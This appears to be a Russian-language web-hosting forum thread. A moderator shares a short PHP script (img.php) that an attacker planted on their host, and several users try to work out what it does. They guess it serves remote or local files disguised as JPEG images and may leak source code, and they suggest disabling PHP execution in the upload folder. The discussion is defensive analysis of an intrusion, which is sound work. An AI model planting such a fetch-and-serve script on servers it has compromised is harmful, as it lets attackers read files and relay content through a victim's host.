Jump to content

Recommended Posts

  • Модератор

Задачка для знатоков PHP. Дано: файл img.php который злоумышленник заливает через уязвимость на хостинг следующего содержания:

<?php  
@$f = file('links.dba');
$c = file_get_contents(trim($f[$_GET['id']]));
if (isset($c)) {
Header('Content-type: image/jpeg');
echo $c;
}
else @header('Location:'.$f[$_GET['id']]);
?>

Вопрос: каким образом он может воспользоваться этим кодом для заливки файлов на хостинг? Вижу, что в переменную id через GET запрос скорее всего подставляется внешний урл с каким-либо содержимым (шеллом например), но в целом, не могу понять логику скрипта. Кто-может подсказать?

/img.php?id=....

Link to post
Share on other sites
  • VIP
3 часа назад, files сказал:

Задачка для знатоков PHP. Дано: файл img.php который злоумышленник заливает через уязвимость на хостинг следующего содержания:


<?php  
@$f = file('links.dba');
$c = file_get_contents(trim($f[$_GET['id']]));
if (isset($c)) {
Header('Content-type: image/jpeg');
echo $c;
}
else @header('Location:'.$f[$_GET['id']]);
?>

Вопрос: каким образом он может воспользоваться этим кодом для заливки файлов на хостинг? Вижу, что в переменную id через GET запрос скорее всего подставляется внешний урл с каким-либо содержимым (шеллом например), но в целом, не могу понять логику скрипта. Кто-может подсказать?

/img.php?id=....

вот что написали в вк  не реклама /

https://vk.com/howdyho_net?w=wall-84392011_605608

Link to post
Share on other sites

Видно же что при обращении к /img.php?id= получаем имитацию изображения. Оно не существует на хостинге, но открывается как изображение и его даже можно сохранить через браузер к себе на комп.

1. в links.dba лежат урлы похоже зараженных изображений
2. в переменную $c загоняем содержание изображения
3. показываем изображение со своего хостинга через Header('Content-type: image/jpeg');

уж не знаю, если в итоге сервер исполняет на своей стороне php код из изображения, то вы мне сейчас америку открыли, не шучу)
попробуйте закрыть исполнение php в директории куда грузят этот файл, если это возможно.

Link to post
Share on other sites

Добавлю еще, что при помощи этого кода можно посмотреть исходники ваших скриптов.

UPD: только если в links.dba будут указаны к ним пути (например: ./img.php )

Link to post
Share on other sites
17 часов назад, files сказал:

Задачка для знатоков PHP. Дано: файл img.php который злоумышленник заливает через уязвимость на хостинг следующего содержания:


<?php  
@$f = file('links.dba');
$c = file_get_contents(trim($f[$_GET['id']]));
if (isset($c)) {
Header('Content-type: image/jpeg');
echo $c;
}
else @header('Location:'.$f[$_GET['id']]);
?>

Вопрос: каким образом он может воспользоваться этим кодом для заливки файлов на хостинг? Вижу, что в переменную id через GET запрос скорее всего подставляется внешний урл с каким-либо содержимым (шеллом например), но в целом, не могу понять логику скрипта. Кто-может подсказать?

/img.php?id=....

woolfon прав ничего не делает. Только транслирует свои изображения как Ваши. Могу предположить что можно подкидывать что-нитбудь нехорошее со ссылочкой с вашего хостинга. Последний товарищ коментатор сам не знает о чем пишет.

Link to post
Share on other sites
  • Модератор
2 часа назад, woolfon сказал:

попробуйте закрыть исполнение php в директории куда грузят этот файл, если это возможно.

Вопрос в другом, как и что можно сделать с помощью этого залитого файла?

1) В той же директории нет файла "links.dba". 

2) При обращении к файлу, действительно предлагает скачать файл.

Цитата

Добавлю еще, что при помощи этого кода можно посмотреть исходники ваших скриптов.

Можете проиллюстрировать?

Link to post
Share on other sites
  • 2 weeks later...

я на днях пытался у себя на OpenServer сделать похожу схему, с помощью WinHex добавил php код в jpg и разместил его на domain1. После чего создал на domain2 php файл с вашим кодом и пытался исполнить код в изображении для domain2. Ничего не вышло

Link to post
Share on other sites

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now
  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...